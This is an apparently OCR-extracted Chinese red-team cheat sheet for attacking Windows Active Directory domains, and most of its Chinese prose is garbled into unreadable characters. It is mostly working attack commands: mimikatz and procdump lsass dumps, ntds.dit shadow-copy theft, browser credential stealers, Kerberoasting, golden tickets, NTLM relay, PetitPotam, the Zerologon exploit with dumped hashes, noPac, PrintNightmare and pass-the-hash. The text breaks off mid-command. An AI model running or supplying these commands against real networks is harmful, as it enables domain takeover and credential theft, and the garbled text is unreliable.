1.EEERRT
K&
IRRRIEER
b
HERNHEERR
FRENEERD
ST LSRR IRERIEEN TS
tokeng3EY
BEAMEFENFE S
gl GREUEEATEhash)
dpapifigzs
2. ARSRUEE
THUSEWER
8 IRENHBIAFER
Windows
Linux
Db
NavicatZHg
xshell&xftpZZrg
mRemoteNGZFRY
TRUSEWEE
ERmOEMIE
MRS T
BEIERKEDS
BE=HERE
3. 3REk =R TS %
SYSVOL
MS14-068 Kerberos
SPN$3#H
KerberosfyESJE
KerberosfysRE5%
ARSI SHEAR
EIEES
NTLM relay
KerberosZik
HEAERRATT IO
zerologoniwila
CVE-2021-42278 && CVE-2021-42287
45 HRIERBERSMBHE
5.47%LDAP
6.EFAFRE
BEKS, EEKEEB
BRI
ASREP-Roastingl{t
¥%EXhash
$KEYASREP-Roastablelk S
ZEEFE—NMEBEFPHKSERL
SRENELBIK 2565
1 FREURNFR B E
2073 SMB $#£=
3.bloodhound
4.powerview / pywerview
Kerberoastingl{lzh
¥xEXhash
& kerberoastable kS



MS14-068
PrintNightmare
1728 DNS fR5588
7.relay/poisoningIh
FHEIRTTESMBEZ 128
PetitPotam
0
FoSMBESZ | | FFFIPVE | | ADCS
1.MS08-068
2.mitm6 -i eth0 -d
3.adcs
23 |hashiffi#
1.LM
2.NTLM
3.NTLMV1
4NTLMv2
5.Kerberos 5 TGS
6.Kerberos ASREP
9. 1%
1.PTH
2.PTK
3IFREFIR
IRENEESE
BEHRAFAREFIREN
4 ARFR
SRENEHE
BRLAIRFIREN
5 2T RRNAREIR
6.dcsync
7 $JENHL SpoolService JRiEFIF
8.ADIFACLIZ T (aclpwn.py)
9 JRENLAPSETE RS
10.privexchangeifmia
Exchangef9FIFE
11.1PC
12 Hfthiaiz
10.40BREESS
SEIEIUR
=[N
BEEXR
FARIE RN - SID HistoryhRisHE S =R
FFBISEEZTHRE BARRIUR - (SERE
WEHEEBMK
A ERIFAMRIS
Security Support Provider
SID History
AdminSDHolder &SDProp
Dcsyncigi’)
BRI
Hook PasswordChangeNotify
Kerberoastingfg17]
AdminSDHolder
Delegation
118k
windows
Linux
1280 RIRFH

Windows



bypass UAC
BRTE
ERIR
X
Linux
Rizimtt iRt
HES
SUID
NG E
RARSHIERRECERIR
AL/ S TAURECE
HIFHERBE RS, =3
13 . PRLERS
Windows
EcRTHA
FERrEFEPayloadii &
Run/RunOnce Keys
BootExecute Key
Userinit Key
Startup Keys
Services
Browser Helper Objects
9. Applnit_DLLs
10, STHHKEX
11, bitsadmin
12, mof
13, wmi
14, Userland Persistence With Scheduled Tasks
15, Netsh
16, Shim
17. DLLENEF
18. DoubleAgent
19, waitfor.exe
20, AppDomainManager
21, Office
22, CLR
23, msdtc
24 Hijack CAccPropServicesClass and MMDeviceEnumerato
25, Hijack explorer.exe
26, Windows FAX DLL Injection
27, FEREMREE
28, WREFEFIHEI
29, Logon Scripts
30, Password Filter DLL
31. FIFBHOSCHIERILERREDHF

0 N ol b WN =
DA

Linux
crontab
REsEEsshd
SSH Server wrapper
SSH keylogger
Cymothoa_##2iF A\backdoor
rootkit
Tools
14 RS
Windows B &5
TEIARWiIndows BiERINaE
Metasploit
3389FFHICRIBRR



15. ARIEFE
0x01 IZRS BT
HE—: ARFEXIEN E ORERE iR
WEZ: AKX XATFRRMETBRINIAMSERCO (20: 80, 443)
HR=: TCPAREM-HTTPHRIE
b= TCPHR-socks{X IR
0x02 Lcx
ImOER
Uity ] Aok
0x03 SSHpFE
SSHAEE &
SSHITF2HE R
SSHENRHe &2 IE MR MENSm A
SSHENR e A, [EMRIEHITRE—RHO%A
16.Bypass AMSI
—HREKHIAMSI
powershellp#4

REHNT

1.G5EEBRT
R4

cme smb <ip_range> # SMB FHHAEIEEML
nmap -sP -p <ip> # ping

nmap -PN -sV --top-ports 50 --open <ip> SR E ]

nmap -PN --script smb-vuln®* -p139,445 <ip> # il SMB IFif
nmap -PN -sC -sV <ip> # 2R

nmap -PN -sC -sV -p- <ip> # A

nmap -sU -sC -sV <ip> # UDP ##

i) ERARER
AT AR

java rmi: exploit/multi/misc/java_rmi_server
ms17-010: exploit/windows/smb/ms17_010_eternalblue
tomcat: auxiliary/scanner/http/tomcat_enum
jboss manager: exploit/multi/http/tomcat_mgr_deploy
Java AL IRIADMIR: ysoserial
B M HICVEIRIFA: searchsploit
MS14-025: searchsploit

findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\poTlicies\*.xml
BRI %R use admin/mssql/mssql_enum_sql_Tlogins
proxylogon:
proxyshell:

=37

EAPRATLAUMBYER S


af://n2
af://n3
af://n6
af://n9

winpeas.exe

BN EH password HISCfE: findstr /si 'password' *.txt *.xml *.docx
Juicy Potato / Lovely Potato

PrintSpoofer

RoguePotato

SMBGhost CVE-2020-0796

CVE-2021-36934 (HiveNightmare/SeriousSAM)

BEFNEE R
IRENED

procdump.exe -accepteula -ma lsass.exe Tsass.dmp

mimikatz "privilege::debug" "sekurlsa::minidump Tsass.dmp"

exit"

"sekurlsa::logonPasswords

mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords"

"Tsadump::sam" "exit"

hashdump: post/windows/gather/smart_hashdump

cme smb <ip_range> -u <user> -p <password> -M Tsassy
cme smb <ip_range> -u <user> -p '<password>' --sam / --lsa / --ntds

SR L SARGIF SR AR AN 2265

PPLdump64.exe <lsass.exe|lsass_pid> 1sass.dmp
mimikatz "!+" "!processprotect /process:lsass.exe /remove" "privilege::debug"

"token::elevate" "sekurlsa::Togonpasswords" "!processprotect
/process:lsass.exe" "!-" #with mimidriver.sys

tokeng3FHY

.\incognito.exe Tist_tokens -u
.\incognito.exe execute -c "<domain>\<user>" powershell.exe

use incognito
impersonate_token <domain>\\<user>

ZBIFERR AT token

TokenZiEVHABLLES (Orange-x.github.io)



af://n14
af://n15
af://n18
af://n21
https://0range-x.github.io/2021/09/30/Token%E7%AA%83%E5%8F%96%E9%82%A3%E4%BA%9B%E4%BA%8B/

SEPHFHERIFIEE

lazagne.exe all

EREN (FREUEI=FRBhash)

diskshadow Tist shadows all

mkTink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskvolumeShadowCopyl\

BB RARRPAT

vssadmin create shadow /for=C:

FIHE R BIAL X ntds . ditCE 5 FHEMER S Hsystem. hive

copy \\?\GLOBALLROOT\Device\xxxxxxxxxx\windows\ntds\ntds.dit C:\ntds.dit reg sava
hkIm\system system.hive

//SHsystem. hiveXCf: 2T

vssadmin delete shadows /for=C: /quiet //MEER, FERZE

[CVE-2020-1472899 1553 (Orange-x.github.io)](https://Orange-x.github.i0/2021/11/22/CVE-
2020-1472/#vssadminzsas#£ )

dpapififad

2. RIS RUER
FHUSBUEE

1. /%)% net user /domain
windowsH B S HTEBAER T, P 3] MR, JE R Y IR (k] FH

2. A% tasklist /svc
SRR HAM/ e T RS & i VPN ftps

3.R%EA#FE  tasklist /svc
5z AP T2 KRS DB BT AT FFR5E] 4778 8 IR 45 [RUR /R ]

4.5 %)%  netstat -ano
T T8 R R AR 55/ R [HE 42 /AR /i 25T R o AT 15 B e

5.%NT%)%& systeminfo
S8 windows £hT SE=5#fF[Java/oracle/Flash %] w1l

6. AHILS smbclient -L 1ip
net user \\ip\c$

AHIEEIIZR /U5 AR ALY 17 38 /0 R BUR

7 AR A5 B


af://n25
af://n28
https://0range-x.github.io/2021/11/22/CVE-2020-1472/
af://n33
af://n34
af://n35

Prsids Wosse SORAE

8. KNSRI P ZHE
Windows

e mimikatz

¢ |nvoke-WCMDump
e mimiDbg

* LaZagne

e NirLauncher)

e quarkspwdump

P

e HackBrowserData

e SharpWeb

e SharpDPAPI

e 360SafeBrowsergetpass

e BrowserGhost

e Browser-cookie-steal(EZRENI 28 cookie)

NavicatZ={g

hRZ~: Navicat 118512
J3i%: https://blog.csdn.net/CCESARE/article/details/104746596

fRZFMIA . https://github.com/tianhe1986/FatSmallTools

https://github.com/HyperSine/how-does-navicat-encrypt-password

xshell@&xftpZZh3

https://github.com/dzxs/Xdecrypt

mRemoteNGZ{5

https://github.com/kmahyyg/mremoteng-decrypt

https://github.com/haseebT/mRemoteNG-Decrypt

I BUSRUNEE


af://n37
af://n38
https://github.com/gentilkiwi/mimikatz
https://github.com/peewpw/Invoke-WCMDump
https://github.com/giMini/mimiDbg
https://github.com/AlessandroZ/LaZagne
http://launcher.nirsoft.net/downloads/
https://github.com/quarkslab/quarkspwdump
af://n53
https://github.com/huntergregal/mimipenguin
https://github.com/AlessandroZ/LaZagne
af://n60
https://github.com/moonD4rk/HackBrowserData
https://github.com/djhohnstein/SharpWeb
https://github.com/GhostPack/SharpDPAPI
https://github.com/hayasec/360SafeBrowsergetpass
https://github.com/QAX-A-Team/BrowserGhost/
https://github.com/DeEpinGh0st/Browser-cookie-steal
af://n74
https://blog.csdn.net/CCESARE/article/details/104746596
https://github.com/tianhe1986/FatSmallTools
https://github.com/HyperSine/how-does-navicat-encrypt-password
af://n79
https://github.com/dzxs/Xdecrypt
af://n81
https://github.com/kmahyyg/mremoteng-decrypt
https://github.com/haseebT/mRemoteNG-Decrypt
af://n86

EHiROFETIAR

nmap
masscan
zmap
S
BSHIA

S FE e 2

e DMZ

o EIEN
° &N
o MWK

ity — DA PN
EAERIEGS
ipconfig:
ipconfig /all ------ > AN IP B, Friiikss
net
net user ------ > KHH I
net localgroup administrators ------ > AHVEHL R DEF S A ]
net user /domain ------ > PR
net group /domain ------ > FrifIE H Y TAEA
net group "domain admins" /domain ------ > EUIERE R LA P A
net localgroup administrators /domain ------ > BFANUEE L 5
net localgroup administrators workgroup\user00l /add ----- S PR INEI AN net
group "Domain controllers" ------- > BEEENEWREL 4
net view ------ > HWFE—APLESIE net view /domain ------ > iR

net view /domain:domainname

dsquery

dsquery computer domainroot -limit 65535 && net group "domain

computers" /domain ------ > FIHZIR P BT A Bl 4

dsquery user domainroot -limit 65535 && net user /domain------ >F IR AN BTA P 44
dsquery subnet ------ > 12380 A W B Xl 4y

dsquery group && net group /domain ------ > %38 A 7 21

dsquery ou ------ > 1) Az 3 P 2H 2L LA

dsquery server & net time /domain------ > A 38 A S ) o


af://n87
af://n103
af://n114

B=RIERIE

NETBIOS {ERMEE
SMB {ERUEE
FRIEEDE
RRERKES

3. 3REUEkERY TG i

SYSVOL

SYSVOLZIEFEE AT RS ARRBINRIHZ Mk, eifEEraRIEEHRZEEH]. Sysvol
MR LZHEADRICIER, BREGFMGPO, ScriptEER. FERY, FHAESysvolSXHRFRIER, &
SHEEFPRFEDCE, XYL

SHSYSVOL BRYZFEFIINTEGPP (HEEHS
Windows Server 2008 R27 PUEHESysvol {4k

o SYSVOLAEHZIOHF B SRR EEIR
o FIFHASYSVOLIAEZATH Sz

MS14-068 Kerberos

python ms14-068.py -u M/ @%4 -p % -s HPSID -d HEH

FAmMimikatzZE TEEZIRITGT domainuser@SERVER.COM.ccacheENHNTE, BIEEFRIEP:

mimikatz.exe "kerberos::ptc c:TGT_darthsidious@pentest.com.ccache" exit
net use k: \pentest.comc$

LEPSIE

o KerberosfT EHEIPYKEK
o EAEIEMS14-068EE
e KerberostZ4iEE

SPNi3i&

KerberoastaTLIER—MERETTSEMACtive DirectoryshLl EBRIF S5 RIURE IKFEIE, TBM
ERRSREAAIRE, SPNEIRSIERFIKerberosSHMIFRIRL FRIE—HRRG, SHERS,
EHSFUROER. EEFIKerberosSHMMTEARET, PAEREIIHIKS (MNetworkServices)
LocalSystem) SFBFIKFFMRSSEBEMSPN, XITAERIKE, SPNISEEIHTEM, B2, WRES,
FIFIKERETIRSS, MATNERERINIKFMFIERMSPN, SPNNESIFIE, SPNITTE
TEEEINS FOE N PRIGEIRSHE, SPNEBITLDAPEIFISEHTIRE R, SPNEE
KerberosHUBIEATH—8ks>, BULHRMEIRMISPNITE, HEXHTi

o JERRATAISQL Server/ZHi
o SPNi3#E
o 1F#ASQLServerfGIZ


af://n122
af://n132
af://n134
http://www.freebuf.com/vuls/92016.html
http://blog.51cto.com/ycrsjxy/203095
https://adsecurity.org/?p=2288
https://xz.aliyun.com/t/1653
af://n145
mailto:TGT_domainuser@SERVER.COM.ccache
http://adsecurity.org/?p=676
http://www.freebuf.com/vuls/56081.html
https://adsecurity.org/?p=541
af://n157
https://blog.netspi.com/locate-and-attack-domain-sql-servers-without-scanning/
https://adsecurity.org/?p=1508
https://github.com/PyroTek3/PowerShell-AD-Recon

KerberosfIEE[ 1=

i EAMENAYNSFS
Tsadump: :dcsync /domain:pentest.com /user:krbtgt
kerberos: :purge

kerberos::golden /admin:administrator /domain:i /sid:SID /krbtgt:hashfg
/ticket:adinistrator.kiribi

kerberos::ptt administrator.kiribi
kerberos::tgt

net use k: \pnet use k: \pentest.comc$

FBRIEHE :
e https://adsecurity.org/?p=1640
o AR MKE SMi7

o KerberosBBAUFFEE
o FZFEfRwWindowsZEIANFLEIntIm & Kerberos

KerberosfJiREsS

HEERMBREREN—SX3): Golden Ticket: fii& 16T, BILASREN fEfiKerberos fRSZHNIR {RE:
ETGS, HesvinsEmms NZEAXAE: Golden Ticketd krbtgt BhashfinZ= Silver Ticketd ik
%iks  (BEATEVIKF,) HashilZ INEREAR: SEEFERNEEREREREE REAFEA
ISR F BRI EE 1EXEE -

° (] Kerberosf{REEKF 4
o Iai515——Pass The Ticket
1ok PR SS Me SR

5 FEISPNIF#EIAYEIR https://github.com/nidem/kerberoast SKEXETA FVESPNAIHK

setspn -T PENTEST.com -Q */*

MMimikatzBJRAMPIZEGRISAY JE

kerberos::1ist /export

HFrgsrepcrackifiE

tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql0l.medin.local~1433-
MYDOMAIN.LOCAL . kirbi

SiEE
MEEREZRBE R EERAVZD


af://n166
https://adsecurity.org/?p=1640
http://bobao.360.cn/learning/detail/3564.html
https://blog.csdn.net/wulantian/article/details/42418231
https://klionsec.github.io/2016/08/10/ntlm-kerberos/
af://n179
https://adsecurity.org/?p=2011
https://www.feiworks.com/wy/drops/%E5%9F%9F%E6%B8%97%E9%80%8F%E2%80%94%E2%80%94Pass%20The%20Ticket.pdf
af://n186
https://github.com/nidem/kerberoast
af://n193

NTLM relay

e One API call away from Domain Admin

e privexchange
e Exchange2domain

BT EmLBHERRENTLMIERATTEA:

e printerbug
e PetitPotam

Relay LDAP:

e (CVE-2019-1040-dcpwn

Relay AD CS/PKI:

o AD CS/PKI template exploit

ERJAFIBRNTIA:

e Relayx

NM4455RO%% :

e PortBender
KerberosZik

* Wagging-the-Dog.html

* s4uZpwnage

e Attacking Kerberos Delegation

o FATENARSSARENE =

e Computer Takeover

e Combining NTLM Relaying and Kerberos delegation
e (CVE-2019-1040

sl REHT Y

LR EFHBARP

zerologonifiR

python3 cve-2020-1472-exploit.py <MACHINE_BIOS_NAME> <ip>

secretsdump.py <DOMAIN>/<MACHINE_BIOS_NAME>\$@<IP> -no-pass -just-dc-user
"Administrator"

secretsdump.py -hashes :<HASH_admin> <DOMAIN>/Administrator@<IP>

python3 restorepassword.py -target-ip <IP>
<DOMAIN>/<MACHINE_BIOS_NAME>@<MACHINE_BIOS_NAME> -hexpass <HEXPASS>

CVE-2020-1472892 1 553 (Orange-x.github.io)

1. FIEMimikatz check

Tsadump::zerologon /target:dcl.exploit.local /account:dcl$


af://n195
https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/
https://github.com/dirkjanm/privexchange/
https://github.com/ridter/exchange2domain
https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py
https://github.com/topotam/PetitPotam
https://github.com/Ridter/CVE-2019-1040-dcpwn
https://www.bussink.net/ad-cs-exploit-via-petitpotam-from-0-to-domain-domain/
https://github.com/Ridter/Relayx
https://github.com/praetorian-inc/PortBender
af://n225
https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/
https://xz.aliyun.com/t/2931
https://adsecurity.org/?p=4056
https://www.harmj0y.net/blog/activedirectory/a-case-study-in-wagging-the-dog-computer-takeover/
https://dirkjanm.io/worst-of-both-worlds-ntlm-relaying-and-kerberos-delegation/
https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/
af://n241
af://n243
https://0range-x.github.io/2021/11/22/CVE-2020-1472/

exploit
Tsadump::zerologon /target:dcl.exploit.local /account:dcl$ /exploit
dcsync

Tsadump::dcsync /dc:dcl.exploit.local /authuser:dcl$ /authdomain:exploit.local
/authpassword:"" /domain:exploit.local /authntlm /user:krbtgt

restore

Tsadump: :postzerologon /target:conttosson.locl /account:dc$

2, FJBimpacket:

o HNB1RENZ+IP
e install {BEiRAATimpacket
e EXp

python cve-2020-1472-exploit.py DC2008 10.211.55.200

$ python cve-2820-1472-exploit.py DC2008 18.211.55.200
Performing authentication attempts.

Success! DC can be fully compromised by a Zerologon attac
Exploiting ZerolLogon vulnerability...
[+] DC Password Change Status: SUCCESS!

Try running Impacket's 'secretsdump' script with the new DC password
Example: secretsdump.py -no-pass cgdomain.com/'DC2088$'@10.211.55.280 -just-dc-user krbtgt

)After exploit, please change the DC machine password!!!!

secretsdump.py -no-pass cgdomain.com/'DC2008%'@10.211.55.200 -history -just-dc-
user administrator

secretsdump.py -no-pass cgdomain.com/administrator@l0.211.55.200 -hashes
aad3b435b51404eeaad3b435b51404ee:3add1560657a19b3166247eb3ebl49ae

$ secretsdump.py -no-pass cgdomain.com/administrator€18.211.55.200 -hashes aad3b435b51484eeaad3bd35h51404ee :3add1560657a19b3166247eb3eb149ae
Inpacket v8.9.22.dev1+26200914.162022.81d44893 - Copyright 2028 SecureAuth Corporation

[*] Target system bootKey: @xdc76d2726db98312b27028a8fdcb3eba

[*] Dumping local SAM hashes (uid:rid:1mhash:nthash)

Administrator :580 :aad3b435b51484eeaad3b435b51484ee :08af fd88fad23b08d4S60bTOfefBec2f : :

Guest :501 :aad3b435b51484eeaad3b435b51484ee :31d6cfedd162e931673c59d7e8c089C: : :

[*] Dumping cached domain logon information (domain/username :hash)

*] Dumping LSA Secrets

[+]_SMACHTNE..ACC.

SMACHINE . ACC :plain_password_hex :59958639cbdd4523de5d42b1adb@e256e8d39ae f14c8eef31f4c788621097253bbb7b3817ab123d013856c028fa4993f 515h9a838a3a08d87483b29d 3 b55082a1 fA64b19220a2c046605d2321a84afbbS51 f8F19a13d300F9f 5af2aa235b76b49087 83:
516fefdBcb@348256e8282b22ch9e70d82a8b8A2916d578246288af3af727533d36ad8950 e 1c513771377d98a047c4aBeae2b581a74b6687a2e533b7e89e8d83c2e6c2123d51948986 9a6e33d3a8384be33107060b6262852562261f48c897ddb68758cC55b7688cC051441c 029892307 55084
978edbaf31766d17b53505016c7588cb488b

CGDOMATN\DC20ARS :aad3ha35h51480eennd3ba35h514Rdee :0095F7h34F41674329chedAeehh Fes - - -

[*] DPAPI_SYSTEM

dpapi_machinekey :8x8dbf45bdaB22082a61da35150915¢16c7a95dbee

SRENZ | BRYZRIBA hex, AR

python restorepassword.py cgdomain.com/DC2008@DC2008 -target-ip 10.211.55.200 -
hexpass
59958639cbdd4523de5d42b01adb0e256e0d39aefl4c8eef31f4c078862109f253bbb7b3817ab123
d013856c028fa4993f5f5b9a830a3a98d87483b29df3fb55082a1f464b19220a2c04f6605d2d321a
04afbb551f8f19a13d399f9f5af2aa23c5b76b49001033516fefd90cb0348256e8282b22chf9e70d
82a8b8d2916d578246e288af3af727533d36ad8950felc513771377d98a947c4a8eae2b581a74b66
87a2e533b7e89e8d03c2e6c2123d519489869a6e33d3a8884be33107060b62e2852502261148c097
ddb68750cc55b7688cc951441cf02989a307f55c008e978edbaf31766d17b53505016c7580ch480b

5 python restorepassword.py cg E C208560C2008 0.211.55.200 - 99586300bAd45230eb042b01 adboe2o0eBdaVaet 14cteet 311400/ 85621091 253Dbb/b3B17ab123001 3856CH281 a40031 5T 59aB3easassds/483p20a1 3TDo0RE2a11 464D19220a2C04
6605d2d321a84afbb5518f19a13d399f9f5af2aa23c5b76b49001833516 fefdIBcbB348256e8282b22chfIe70d82a8b8d2916d578246e288af3af727533d36ad8950fe1c513771377d98a947c4aBeae2b581a74b6687a2e533b7e89e8d03c2e6c2123d519489869a6e33d3a8884be33107060b6 262852
50226148c897ddb68758cc55b7688cc951441c82989a307f55¢008e978edbaf31766d17b53505016c7588cba88b

Tnpacket v8.9.22.dev1+28200914.162822 .81d44893 - Copyright 2628 SecureAuth Corporation

[#] StringBinding ncacn_ip_tcp:18.211.55.208[49174]
hchange password OK


https://camo.githubusercontent.com/ab6ebf37bf1f547e4dd044b0ffb16f8493190a988f350bc7119c5c335b7c95be/68747470733a2f2f626c6f67706963732d313235313639313238302e66696c652e6d7971636c6f75642e636f6d2f696d67732f32303230303931363139303133372e706e67
https://camo.githubusercontent.com/d94bd9f15fb2db6a2b99b7463de0674117fb227d731c7d0d8526ee66bb66961d/68747470733a2f2f626c6f67706963732d313235313639313238302e66696c652e6d7971636c6f75642e636f6d2f696d67732f32303230303931363139303335392e706e67
https://camo.githubusercontent.com/206012e6d64974e4fda0704c8f1334e777a44f37f7b517e7d8776fbb79921e3f/68747470733a2f2f626c6f67706963732d313235313639313238302e66696c652e6d7971636c6f75642e636f6d2f696d67732f32303230303931363139303435372e706e67

WE73i%2
Bdwmic, pass the hash EEigf=HEE PRI ETE RNPROHE)
wmiexec.py -hashes

aad3b435b51404eeaad3b435b51404ee:8adfc85c3490040e942aeleb6c68f645¢e
test.local/Administrator@l0.211.55.38

PRIE D BIAAT FE W AH R SAMEHRZEZ A5

- reg save HKLM\SYSTEM system.save

- reg save HKLM\SAM sam.save

- reg save HKLM\SECURITY security.save
- get system.save

- get sam.save

- get security.save

- del /f system.save

- del /f sam.save

- del /f security.save

$EEVBASZ hash

secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

CVE-2021-42278 && CVE-2021-42287
sam-the-admin

noPac: CVE-2021-42287/CVE-2021-42278

./noPac.exe -domain dc.com -user username -pass 'password' /dc owa.dc.com
/mAccount mAusername /mPassword password /service cifs /ptt

=i
4-5“& n] Eg 1E|ﬂHgSM Bw O o
enumd4linux -a -u "" -p "" <dc-ip> && enumd4linux -a -u "guest" -p "" <dc-ip>
smbmap -u "" -p "" -P 445 -H <dc-ip> && smbmap -u "guest" -p "" -P 445 -H <dc-

ip>
smbclient -U '%"' -L //<dc-ip> && smbclient -U 'guest%' -L //<dc-ip>
cme smb <ip> -u '' -p '' # MEEWASessioniAlffSMBIL R

cme smb <ip> -u 'a' -p "' #MESEEE 4 9 SMB3E S


af://n279
https://github.com/WazeHell/sam-the-admin
https://github.com/cube0x0/noPac
af://n285

5.f7%SLDAP

nmap -n -sV --script "ldap* and not brute" -p 389 <dc-ip>

ldapsearch -x -h <ip> -s base

6. Bk

enum4linux -U <dc-ip> | grep 'user:'

crackmapexec smb <ip> -u <user> -p '<password>' --users

nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-
users.realm="<domain>",userdb=<users_1list_file>" <ip>

OSINT - fEHBEM EFIH 4

SEIKS, (BEREBEE
A B

RIS SN
crackmapexec <IP> -u 'user' -p 'password' --pass-pol
enum4linx -u 'username' -p 'password' -P <IP>

cme smb <dc-ip> -u user.txt -p password.txt --no-bruteforce # ANEM, HillKHE—
user=password

cme smb <dc-ip> -u user.txt -p password.txt # A XL, MARSFLGEN, JWod £ AT hE e i

Ak
a~

ASREP-RoastingI&;
3XH¥hash

python GetNPUsers.py <domain>/ -usersfile <usernames.txt> -format hashcat -
outputfile <hashes.domain.txt>

Rubeus asreproast /format:hashcat


af://n289
af://n292
af://n295
af://n296
af://n299
af://n300

SRHYASREP-Roastablet=

Get-DomainUser -PreauthNotRequired -Properties SamAccountName

MATCH (u:User {dontreqpreauth:true}), (c:Computer), p=shortestPath((u)-[*1..]->
(c)) RETURN p

ZIEE—MEIARPHKSZE
IREVEL (M 2565
13X IR B2

GetADUsers.py -all -dc-ip <dc_ip> <domain>/<username>

2.41%¢ SMB H=

cme smb <ip> -u <user> -p <password> --shares

3.bloodhound

bloodhound-python -d <domain> -u <user> -p <password> -gc <dc> -c all

4.powerview / pywerview

KerberoastingI{
3%B¥hash

GetUserSPNs.py -request -dc-ip <dc_ip> <domain>/<user>:<password>

Rubeus kerberoast

&3 kerberoastable S

Get-DomainuUser -SPN -Properties SamAccountName, ServicePrincipalName
MATCH (u:User {hasspn:true}) RETURN u

MATCH (u:User {hasspn:true}), (c:Computer), p=shortestPath((u)-[*1..]->(c))
RETURN p


af://n303
af://n306
af://n307
af://n308
af://n310
af://n312
af://n314
af://n316
af://n317
af://n320

MS14-068

FindSMB2UPTime.py

rpcclient $> Tookupnames <name>
wmic useraccount get name,sid

auxiTliary/admin/kerberos/ms14_068_kerberos_checksum
goldenPac.py -dc-ip <dc_ip> <domain>/<user>:'<password>'@<target>

kerberos::ptc "<ticket>"

PrintNightmare

CVE-2021-1675.py <domain>/<user>:<password>@<target> '\\<smb_server_ip>\
<share>\inject.d11"'

t&&E DNS BRS525

dnstool.py -u 'DOMAIN\user' -p 'password' --record '*' --action query <dc_ip>

7.relay/poisoningIiE
FiEFBESMBEZAINES

nmap -Pn -sS -T4 --open --script smb-security-mode -p445 ADDRESS/MASK
use exploit/windows/smb/smb_relay

cme smb $hosts --gen-relay-Tist relay.txt


af://n323
af://n331
af://n334
af://n339
af://n340

PetitPotam

PetitPotam.py -d <domain> <listener_ip> <target_ip>

[EEERTLARRE adcsIEh

S50

responder -i eth0
mitmé -d <domain>

ZSMBZE® | | FZIPv6 | | ADCS
1.MS08-068

use exploit/windows/smb/smb_relay  #% H+Twindows2003 / windows server2008

responder -I ethO # iEfFJekHANLE smb Al http MRS

ntimrelayx.py -tf targets.txt

2.mitme6 -i eth0 -d

ntimrelayx.py -6 -wh <attacker_ip> -1 /tmp -socks -debug
ntlmrelayx.py -6 -wh <attacker_ip> -t smb://<target> -1 /tmp -socks -debug
ntimrelayx.py -t ldaps://<dc_ip> -wh <attacker_ip> --delegate-access

getST.py -spn cifs/<target> <domain>/<netbios_name>\$ -impersonate <user>

3.adcs

ntimrelayx.py -t http://<dc_ip>/certsrv/certfnsh.asp -debug -smb2support --adcs
--template DomainController

Rubeus.exe asktgt /user:<user> /certificate:<base64-certificate> /ptt

EZ|hashiizf#


af://n342
af://n346
af://n349
af://n350
af://n355
af://n358
af://n361

1.LM

john --format=1m hash.txt

hashcat -m 3000 -a 3 hash.txt

2.NTLM

john --format=nt hash.txt

hashcat -m 1000 -a 3 hash.txt

3.NTLMv1

john --format=netntim hash.txt

hashcat -m 5500 -a 3 hash.txt

4.NTLMv2

john --format=netntlmv2 hash.txt

hashcat -m 5600 -a 0 hash.txt rockyou.txt

5.Kerberos 5 TGS

john spn.txt --format=krb5tgs --wordlist=rockyou.txt

hashcat -m 13100 -a O spn.txt rockyou.txt

6.Kerberos ASREP

hashcat -m 18200 -a 0 AS-REP_roast-hashes rockyou.txt

9. fEMmEE

1.PTH


af://n362
af://n365
af://n368
af://n370
af://n372
af://n374
af://n377
af://n379

psexec.py -hashes ":<hash>" <user>@<ip>

wmiexec.py -hashes ":<hash>" <user>@<ip>

atexec.py -hashes ":<hash>" <user>@<ip> "command"
evil-winrm -i <ip>/<domain> -u <user> -H <hash>

xfreerdp /u:<user> /d:<domain> /pth:<hash> /v:<ip>

2.PTK

python getTGT.py <domain>/<user> -hashes :<hashes>

export KRB5CCNAME=/root/impacket-examples/domain_ticket.ccache
python psexec.py <domain>/<user>@<ip> -k -no-pass

Rubeus asktgt /user:victim /rc4:<rc4value>

Rubeus ptt /ticket:<ticket>

Rubeus createnetonly /program:C:\Windows\System32\[cmd.exe| |upnpcont.exe]
Rubeus ptt /Tuid:0Oxdeadbeef /ticket:<ticket>

3.3ELTRE R
REVE

privilege::debug sekurlsa::tickets /export sekurlsa::tickets /export
Rubeus dump /service:krbtgt /nowrap

Rubeus dump /Tuid:0xdeadbeef /nowrap

EHAFLREIRE

Get-NetComputer -Unconstrained
Get-DomainComputer -Unconstrained -Properties DnsHostName
MATCH (c:Computer {unconstraineddelegation:true}) RETURN C

MATCH (u:User {owned:true}), (c:Computer {unconstraineddelegation:true}),
p=shortestPath((u)-[*1..]->(c)) RETURN p

4.L49RER


af://n382
af://n385
af://n386
af://n389
af://n392

IREVRR

privilege::debug sekurlsa::tickets /export sekurlsa::tickets /
Rubeus dump /service:krbtgt /nowrap

Rubeus dump /Tuid:0xdeadbeef /nowrap

EHLIREBIREN

Get-DomainComputer -TrustedToAuth -Properties DnsHostName, MSDS-
AllowedToDelegateTo

MATCH (c:Computer), (t:Computer), p=((c)-[:AlTowedToDelegate]->(t)) RETURN p

MATCH (u:User {owned:true}), (c:Computer {name: "<MYTARGET.FQDN>"}),
p=shortestPath((u)-[*1..]->(c)) RETURN p

5. HF&ERAILREIR

6.dcsync

Tsadump::dcsync /domain:htb.local /user:krbtgt # Administrators, Domain Admins,
Enterprise Admins ZHNHINK ) 4T

7.$JEPHN SpoolService jEiRAFIE

rpcdump.py <domain>/<user>:<password>@<domain_server> | grep MS-RPRN
printerbug.py '<domain>/<username>:<password>'@<Printer IP> <RESPONDERIP>

8.ADIsEACLIZT (aclpwn.py)


af://n393
af://n396
af://n399
af://n402
af://n405
af://n408

GenericAll on User

GenericAll on Group

GenericAll / GenericWrite / Write on Computer
WriteProperty on Group

Self (Self-Membership) on Group

writeProperty (Self-Membership)
ForceChangePassword

WriteOwner on Group

GenericWrite on User

WriteDACL + WriteOwner

9.3REYLAPSEIE RS

Get-LAPSPasswords -DomainController <ip_dc> -Credential <domain>\<login> |
Format-Table -AutoSize

foreach ($objResult in $colResults){$objComputer = $objResult.Properties;
$objcomputer.name|where {$objcomputer.name -ne $env:computername}|%{foreach-
